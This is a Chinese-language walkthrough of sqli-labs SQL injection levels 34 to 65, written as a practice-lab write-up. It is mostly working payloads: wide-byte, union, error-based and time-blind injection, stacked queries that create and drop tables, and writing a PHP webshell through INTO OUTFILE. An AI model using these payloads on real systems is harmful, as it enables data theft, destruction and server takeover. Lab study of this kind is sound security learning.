查看源码可知,使用了addslashes()函数,理论上可以使用前几关中的宽字节注入的方法进行测试,但是测试的时候发现,方法并不奏效。(主要原因是因为我们不能够直接在POST中传入数据,因为会被再次编码)

uname=ad%df\'&passwd=ad
web靶场 --- sqli-labs_第73张图片

在get型传参的时候使用URLencode

使用burp进行抓包修改

web靶场 --- sqli-labs_第74张图片

uname=ad%df' union select 1,2#&passwd=ad

查看哪些数据信息发生回显

web靶场 --- sqli-labs_第75张图片

Less-35

id=1输出正确信息

id=1'报错

id=1%df' --+还是报错

查看源码

function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}

函数解析

addslashes(string $str): string

返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(null 字符)。

确实存在单引号' ' ,双引号" "反斜杠\过滤

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

而sql语句中id没有被包裹

id=-1 union select 1,2,3 --+

查看哪些数据存在回显

法二

采用延迟注入

id=1 and if( length(database())>5,1,sleep(5) ) --+

Less-36

与Less-35类似,Less-36的id被单引号' '包裹

id=-1%df' union select 1,2,3 --+

查看哪些数据可以回显

查看源码

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}

mysql_real_escape_string() 调用mysql库的函数 mysql_real_escape_string, 在以下字符前添加反斜杠: \x00, \n, \r, \, \', \"\x1a

sql语句

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

注意:字符串进行十六进制转换,因为单引号全部会被转义

Less-37

和Less-34类似,只是使用的过滤函数不同,Less-37用的是mysql_real_escape_string函数

uname=ad%df' union select 1,2#&passwd=ad

web靶场 --- sqli-labs_第76张图片

补充知识

堆叠注入

Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injectiono
可以在mysal命令行中进行测试:

select * from users; select 1,2,3;

Less-38

id=-1' union select 1,2,3; --+

查看哪些数据发送回显

id=1'; create table ck like users; --+

id=1'; drop table ck; --+

Less-39

id=-1 union select 1,2,3 --+

查看哪些数据发生回显

和Less-38类似,只是id没有被包裹

id=1; create table ck like users; --+

id=1; drop table ck; --+

Less-40

id=-1') union select 1,2,3 --+

查看哪些数据发生回显

id=1'); create table ck like users; --+

id=1'); drop table ck; --+

Less-41

id=-1 union select 1,2,3 --+

查看哪些数据发生回显

与Less-39不同的是,Less-39有报错信息,而Less-41没有报错信息

id=1; create table ck like users; --+

id=1; drop table ck; --+

Less-42

本题属于二次注入

查看源码

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

得到对username进行过滤,并没有对password进行过滤

对password进行注入

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

password被单引号' '包裹
web靶场 --- sqli-labs_第77张图片

通过修改HTML,便可查看密码

login_user=a&login_password=s'; create table ck #

login_user=a&login_password=s'; drop table ck #

Less-43

与Less-42类似,不同的区别在于

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

password被(' ')包裹

login_user=a&login_password=s'); create table ck #

login_user=a&login_password=s'); drop table ck #

Less-44

与Less-42类似。只是没有报错信息

login_user=a&login_password=s'; create table ck #

login_user=a&login_password=s'; drop table ck #

Less-45

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

password被(' ')包裹

login_user=a&login_password=s'); create table ck #

login_user=a&login_password=s'); drop table ck #

堆叠注入的危害

1.需要写权限

2.一句话木马

3.select xxx into outfile xxx

4.绝对路径 D:\phpStudy\PHPTutorial\WWW

构造:

select '' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\pass.php'

进行注入

s');select '' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\pass.php'; #

补充知识

SQL语句中,asc是指定列按升序排列,desc则是指定列按降序排列

select * from users order by 1 desc;

使用降序进行排序

select * from users order by 1 asc;

使用升序进行排序

Right() select right(database(),1);

Left() select left(database(),1);

lines terminated by xxx 以 xxx 为结尾

Less-46

sort=1
web靶场 --- sqli-labs_第78张图片

sort=2
web靶场 --- sqli-labs_第79张图片

sort=3

web靶场 --- sqli-labs_第80张图片

输出的表格内容不同,可以猜测sort值是列数,order by sort

sort=1 and 1=1 正确输出数据

说明存在注入点

采用报错注入

sort=1 and updatexml(1, concat(0x7e,(database())) ,1) --+

web靶场 --- sqli-labs_第81张图片

采用时间注入

sort=3 and if( ( length(database() )>15),1,sleep(5) ) --+

Less-47

sort=1'

在这里插入图片描述
报错,说明存在注入漏洞

sort=1' and '1'='1

使用 and or进行绕过

sort=1' and updatexml(1,concat( 0x7e,database() ),1) --+

使用的是报错注入

Less-48

本题没有报错信息,不能使用报错注入,只能用时间盲注。

与Less-46类似,sort没有被包裹

sort=1 --+

Less-49

sort=1' --+

与Less-48类似,只能用时间盲注

总结:

?id=

?sort=

select * from users where id=xxx

select * from users order by xxx

46-49 使用报错注入,时间盲注

select xxx into outfile ‘’

插入一句话木马

into outfile “文件地址” lines terminated by 一句话木马(转换为十六进制形式)

Less-50

sort没有被包裹

1.基于时间盲注

sort=1 and if((length(database())>8),1,sleep(5)) --+

2.基于报错注入

sort=1 and updatexml(1,concat(0x7e,database()),1) --+

3.写一句话木马

4.使用堆叠注入创建删除一个表

sort=1;create table ck like users; --+

sort=1;drop table ck; --+

5.使用堆叠注入写一句话木马

Less-51

sort=1' --+

由单引号' '包裹,其余步骤与Less-50相同

Less-52

sort=1 --+

本题没有报错信息

不能使用报错注入

Less-53

sort=1' --+

由单引号' '包裹,其余步骤与Less-52相同

本题没有报错信息

不能使用报错注入

Less-54

与其他题不同之处是只能注入10次

web靶场 --- sqli-labs_第82张图片

拿到flag提交

id=1' --+

进行绕过

id=1' order by 3 --+

查看有多少列数

id=1' union select 1,2,3 --+

查看哪些数据发生回显

id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+

查看challenges数据库中的表

id=1' union select 1,2,group_concat(column_name) from information_columns where table_name='MSXXY5SBVJ'--+

查看MSXXY5SBVJ表中的列名

id=-1' union select 1,2,group_concat(secret_F28O) from challenges.MSXXY5SBVJ --+

得到secret_F28O字段的数据

Less-55

与Less-54类似,id( )包裹

Less-56

与上题类似,id(' ')包裹

Less-57

与上题类似,id" "包裹

Less-58

id=-1' union select 1,2,3 --+却没有反应,对于联合查询,进行了过滤

使用报错注入

格式:updatexml(1,concat('~',(select database())),1)

id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1) --+

查询表名

id=1' and updatexml(1,concat('~',(select group_concat(secret_YZKZ) from challenges.owhjnni3bp)),1) --+

得到字符串数据

Less-59

与Less-58类似,id无包裹,使用报错注入

Less-60

与上题类似,id(" ")包裹,使用报错注入

Less-61

与上题类似,id((' '))包裹

id=1')) and updatexml(1,(select concat('~',database())),1) --+

Less-62

id=1'判断是否存在注入点

却没有返回结果

web靶场 --- sqli-labs_第83张图片

这个测试次数,必然是时间盲注了。

id=1') and if(length(database())>10,1,sleep(5)) --+

首先判断数据库的长度

id=1') and if( left((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1)>'a',1,sleep(5)) --+

判断该表的第一位字母是不是比a大

id(' ')包裹

Less-63

与上题类似

id' '包裹

Less-64

与上题类似

id(( ))包裹

Less-65

与上题类似

id( )包裹

你可能感兴趣的:(web,0-1,数据库,sql)